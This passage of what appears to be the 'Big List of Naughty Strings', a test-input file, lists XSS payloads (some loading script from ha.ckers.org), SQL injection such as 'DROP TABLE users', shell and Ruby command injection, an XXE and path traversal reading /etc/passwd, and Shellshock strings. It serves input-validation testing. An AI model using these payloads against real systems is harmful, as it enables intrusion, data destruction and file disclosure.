|  | 442 | "`'><script>\xE2\x80\x85javascript:alert(1)</script> | 
|  | 443 | "`'><script>\xE2\x80\x88javascript:alert(1)</script> | 
|  | 444 | "`'><script>\x00javascript:alert(1)</script> | 
|  | 445 | "`'><script>\xE2\x80\xA8javascript:alert(1)</script> | 
|  | 446 | "`'><script>\xE2\x80\x8Ajavascript:alert(1)</script> | 
|  | 447 | "`'><script>\xE1\x9A\x80javascript:alert(1)</script> | 
|  | 448 | "`'><script>\x0Cjavascript:alert(1)</script> | 
|  | 449 | "`'><script>\x2Bjavascript:alert(1)</script> | 
|  | 450 | "`'><script>\xF0\x90\x96\x9Ajavascript:alert(1)</script> | 
|  | 451 | "`'><script>-javascript:alert(1)</script> | 
|  | 452 | "`'><script>\x0Ajavascript:alert(1)</script> | 
|  | 453 | "`'><script>\xE2\x80\xAFjavascript:alert(1)</script> | 
|  | 454 | "`'><script>\x7Ejavascript:alert(1)</script> | 
|  | 455 | "`'><script>\xE2\x80\x87javascript:alert(1)</script> | 
|  | 456 | "`'><script>\xE2\x81\x9Fjavascript:alert(1)</script> | 
|  | 457 | "`'><script>\xE2\x80\xA9javascript:alert(1)</script> | 
|  | 458 | "`'><script>\xC2\x85javascript:alert(1)</script> | 
|  | 459 | "`'><script>\xEF\xBF\xAEjavascript:alert(1)</script> | 
|  | 460 | "`'><script>\xE2\x80\x83javascript:alert(1)</script> | 
|  | 461 | "`'><script>\xE2\x80\x8Bjavascript:alert(1)</script> | 
|  | 462 | "`'><script>\xEF\xBF\xBEjavascript:alert(1)</script> | 
|  | 463 | "`'><script>\xE2\x80\x80javascript:alert(1)</script> | 
|  | 464 | "`'><script>\x21javascript:alert(1)</script> | 
|  | 465 | "`'><script>\xE2\x80\x82javascript:alert(1)</script> | 
|  | 466 | "`'><script>\xE2\x80\x86javascript:alert(1)</script> | 
|  | 467 | "`'><script>\xE1\xA0\x8Ejavascript:alert(1)</script> | 
|  | 468 | "`'><script>\x0Bjavascript:alert(1)</script> | 
|  | 469 | "`'><script>\x20javascript:alert(1)</script> | 
|  | 470 | "`'><script>\xC2\xA0javascript:alert(1)</script> | 
|  | 471 | <img \x00src=x onerror="alert(1)"> | 
|  | 472 | <img \x47src=x onerror="javascript:alert(1)"> | 
|  | 473 | <img \x11src=x onerror="javascript:alert(1)"> | 
|  | 474 | <img \x12src=x onerror="javascript:alert(1)"> | 
|  | 475 | <img\x47src=x onerror="javascript:alert(1)"> | 
|  | 476 | <img\x10src=x onerror="javascript:alert(1)"> | 
|  | 477 | <img\x13src=x onerror="javascript:alert(1)"> | 
|  | 478 | <img\x32src=x onerror="javascript:alert(1)"> | 
|  | 479 | <img\x47src=x onerror="javascript:alert(1)"> | 
|  | 480 | <img\x11src=x onerror="javascript:alert(1)"> | 
|  | 481 | <img \x47src=x onerror="javascript:alert(1)"> | 
|  | 482 | <img \x34src=x onerror="javascript:alert(1)"> | 
|  | 483 | <img \x39src=x onerror="javascript:alert(1)"> | 
|  | 484 | <img \x00src=x onerror="javascript:alert(1)"> | 
|  | 485 | <img src\x09=x onerror="javascript:alert(1)"> | 
|  | 486 | <img src\x10=x onerror="javascript:alert(1)"> | 
|  | 487 | <img src\x13=x onerror="javascript:alert(1)"> | 
|  | 488 | <img src\x32=x onerror="javascript:alert(1)"> | 
|  | 489 | <img src\x12=x onerror="javascript:alert(1)"> | 
|  | 490 | <img src\x11=x onerror="javascript:alert(1)"> | 
|  | 491 | <img src\x00=x onerror="javascript:alert(1)"> | 
|  | 492 | <img src\x47=x onerror="javascript:alert(1)"> | 
|  | 493 | <img src=x\x09onerror="javascript:alert(1)"> | 
|  | 494 | <img src=x\x10onerror="javascript:alert(1)"> | 
|  | 495 | <img src=x\x11onerror="javascript:alert(1)"> | 
|  | 496 | <img src=x\x12onerror="javascript:alert(1)"> | 
|  | 497 | <img src=x\x13onerror="javascript:alert(1)"> | 
|  | 498 | <img[a][b][c]src[d]=x[e]onerror=[f]"alert(1)"> | 
|  | 499 | <img src=x onerror=\x09"javascript:alert(1)"> | 
|  | 500 | <img src=x onerror=\x10"javascript:alert(1)"> | 
|  | 501 | <img src=x onerror=\x11"javascript:alert(1)"> | 
|  | 502 | <img src=x onerror=\x12"javascript:alert(1)"> | 
|  | 503 | <img src=x onerror=\x32"javascript:alert(1)"> | 
|  | 504 | <img src=x onerror=\x00"javascript:alert(1)"> | 
|  | 505 | <a href=javascript:javascript:alert(1)>XXX</a> | 
|  | 506 | <img src="x` `<script>javascript:alert(1)</script>"` `> | 
|  | 507 | <img src onerror /" '"= alt=javascript:alert(1)//"> | 
|  | 508 | <title onpropertychange=javascript:alert(1)></title><title title=> | 
|  | 509 | <a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(1)></a>"> | 
|  | 510 | <!--[if]><script>javascript:alert(1)</script --> | 
|  | 511 | <!--[if<img src=x onerror=javascript:alert(1)//]> --> | 
|  | 512 | <script src="/\%(jscript)s"></script> | 
|  | 513 | <script src="\\%(jscript)s"></script> | 
|  | 514 | <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> | 
|  | 515 | <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> | 
|  | 516 | <IMG SRC=# onmouseover="alert('xxs')"> | 
|  | 517 | <IMG SRC= onmouseover="alert('xxs')"> | 
|  | 518 | <IMG onmouseover="alert('xxs')"> | 
|  | 519 | <IMG SRC=javascript:alert('XSS')> | 
|  | 520 | <IMG SRC=javascript:alert('XSS')> | 
|  | 521 | <IMG SRC=javascript:alert('XSS')> | 
|  | 522 | <IMG SRC="jav   ascript:alert('XSS');"> | 
|  | 523 | <IMG SRC="jav	ascript:alert('XSS');"> | 
|  | 524 | <IMG SRC="jav
ascript:alert('XSS');"> | 
|  | 525 | <IMG SRC="jav
ascript:alert('XSS');"> | 
|  | 526 | perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out | 
|  | 527 | <IMG SRC="   javascript:alert('XSS');"> | 
|  | 528 | <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> | 
|  | 529 | <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")> | 
|  | 530 | <SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT> | 
|  | 531 | <<SCRIPT>alert("XSS");//<</SCRIPT> | 
|  | 532 | <SCRIPT SRC=http://ha.ckers.org/xss.js?< B > | 
|  | 533 | <SCRIPT SRC=//ha.ckers.org/.j> | 
|  | 534 | <IMG SRC="javascript:alert('XSS')" | 
|  | 535 | <iframe src=http://ha.ckers.org/scriptlet.html < | 
|  | 536 | \";alert('XSS');// | 
|  | 537 | <u oncopy=alert()> Copy me</u> | 
|  | 538 | <i onwheel=alert(1)> Scroll over me </i> | 
|  | 539 | <plaintext> | 
|  | 540 | http://a/%%30%30 | 
|  | 541 | </textarea><script>alert(123)</script> | 
|  | 542 |  | 
|  | 543 | #	SQL Injection | 
|  | 544 | # | 
|  | 545 | #	Strings which can cause a SQL injection if inputs are not sanitized | 
|  | 546 |  | 
|  | 547 | 1;DROP TABLE users | 
|  | 548 | 1'; DROP TABLE users-- 1 | 
|  | 549 | ' OR 1=1 -- 1 | 
|  | 550 | ' OR '1'='1 | 
|  | 551 |  | 
|  | 552 | % | 
|  | 553 | _ | 
|  | 554 |  | 
|  | 555 | #	Server Code Injection | 
|  | 556 | # | 
|  | 557 | #	Strings which can cause user to run code on server as a privileged user (c.f. https://news.ycombinator.com/item?id=7665153) | 
|  | 558 |  | 
|  | 559 | - | 
|  | 560 | -- | 
|  | 561 | --version | 
|  | 562 | --help | 
|  | 563 | $USER | 
|  | 564 | /dev/null; touch /tmp/blns.fail ; echo | 
|  | 565 | `touch /tmp/blns.fail` | 
|  | 566 | $(touch /tmp/blns.fail) | 
|  | 567 | @{[system "touch /tmp/blns.fail"]} | 
|  | 568 |  | 
|  | 569 | #	Command Injection (Ruby) | 
|  | 570 | # | 
|  | 571 | #	Strings which can call system commands within Ruby/Rails applications | 
|  | 572 |  | 
|  | 573 | eval("puts 'hello world'") | 
|  | 574 | System("ls -al /") | 
|  | 575 | `ls -al /` | 
|  | 576 | Kernel.exec("ls -al /") | 
|  | 577 | Kernel.exit(1) | 
|  | 578 | %x('ls -al /') | 
|  | 579 |  | 
|  | 580 | #      XXE Injection (XML) | 
|  | 581 | # | 
|  | 582 | #	String which can reveal system files when parsed by a badly configured XML parser | 
|  | 583 |  | 
|  | 584 | <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo> | 
|  | 585 |  | 
|  | 586 | #	Unwanted Interpolation | 
|  | 587 | # | 
|  | 588 | #	Strings which can be accidentally expanded into different strings if evaluated in the wrong context, e.g. used as a printf format string or via Perl or shell eval. Might expose sensitive data from the program doing the interpolation, or might just represent the wrong string. | 
|  | 589 |  | 
|  | 590 | $HOME | 
|  | 591 | $ENV{'HOME'} | 
|  | 592 | %d | 
|  | 593 | %s | 
|  | 594 | {0} | 
|  | 595 | %*.*s | 
|  | 596 | File:/// | 
|  | 597 |  | 
|  | 598 | #	File Inclusion | 
|  | 599 | # | 
|  | 600 | #	Strings which can cause user to pull in files that should not be a part of a web server | 
|  | 601 |  | 
|  | 602 | ../../../../../../../../../../../etc/passwd%00 | 
|  | 603 | ../../../../../../../../../../../etc/hosts | 
|  | 604 |  | 
|  | 605 | #	Known CVEs and Vulnerabilities | 
|  | 606 | # | 
|  | 607 | #	Strings that test for known vulnerabilities | 
|  | 608 |  | 
|  | 609 | () { 0; }; touch /tmp/blns.shellshock1.fail; | 
|  | 610 | () { _; } >_[$($())] { touch /tmp/blns.shellshock2.fail; } | 
|  | 611 | <<< %s(un='%s') = %u | 
|  | 612 | +++ATH0 | 
|  | 613 |  | 
|  | 614 | #	MSDOS/Windows Special Filenames | 
|  | 615 | # | 
|  | 616 | #	Strings which are reserved characters in MSDOS/Windows | 
|  | 617 |  | 
|  | 618 | CON | 
|  | 619 | PRN | 
|  | 620 | AUX | 
|  | 621 | CLOCK$ | 
|  | 622 | NUL | 
|  | 623 | A: | 
|  | 624 | ZZ: | 
|  | 625 | COM1 | 
|  | 626 | LPT1 | 
|  | 627 | LPT2 | 
|  | 628 | LPT3 | 
|  | 629 | COM2 | 
|  | 630 | COM3 | 
|  | 631 | COM4 | 
|  | 632 |  | 
|  | 633 | #   IRC specific strings | 
|  | 634 | # | 
|  | 635 | #   Strings that may occur on IRC clients that make security products freak out | 
|  | 636 |  | 
|  | 637 | DCC SEND STARTKEYLOGGER 0 0 0 | 
|  | 638 |  | 
|  | 639 | #	Scunthorpe Problem | 
|  | 640 | # | 
|  | 641 | #	Innocuous strings which may be blocked by profanity filters (https://en.wikipedia.org/wiki/Scunthorpe_problem) | 
|  | 642 |  | 
|  | 643 | Scunthorpe General Hospital | 
|  | 644 | Penistone Community Church | 
|  | 645 | Lightwater Country Park | 
|  | 646 | Jimmy Clitheroe | 
|  | 647 | Horniman Museum | 
|  | 648 | shitake mushrooms | 
|  | 649 | RomansInSussex.co.uk | 
|  | 650 | http://www.cum.qc.ca/ | 
|  | 651 | Craig Cockburn, Software Specialist | 
|  | 652 | Linda Callahan | 
|  | 653 | Dr. Herman I. Libshitz | 
|  | 654 | magna cum laude | 
|  | 655 | Super Bowl XXX | 
|  | 656 | medieval erection of parapets | 
|  | 657 | evaluate | 
|  | 658 | mocha | 
|  | 659 | expression | 
|  | 660 | Arsenal canal | 
|  | 661 | classic | 
|  | 662 | Tyson Gay | 
|  | 663 | Dick Van Dyke | 
|  | 664 | basement | 
|  | 665 |  | 
|  | 666 | #	Human injection | 
|  | 667 | # | 
|  | 668 | #	Strings which may cause human to reinterpret worldview | 
|  | 669 |  | 
|  | 670 | If you're reading this, you've been in a coma for almost 20 years now. We're trying a new technique. We don't know where this message will end up in your dream, but we hope it works. Please wake up, we miss you. | 
|  | 671 |  | 
|  | 672 | #	Terminal escape codes | 
|  | 673 | # | 
|  | 674 | #	Strings which punish the fools who use cat/type on this file | 
|  | 675 |  | 
|  | 676 | Roses are [0;31mred[0m, violets are [0;34mblue. Hope you enjoy terminal hue | 
|  | 677 | But now...[20Cfor my greatest trick...[8m | 
|  | 678 | The quick brown fox... [Beeeep] | 
|  | 679 |  | 
|  | 680 | #	iOS Vulnerabilities | 
|  | 681 | # | 
|  | 682 | #	Strings which crashed iMessage in various versions of iOS | 
|  | 683 |  | 
|  | 684 | Powerلُلُصّبُلُلصّبُررً ॣ ॣh ॣ ॣ冗 | 
|  | 685 | 🏳0🌈️ |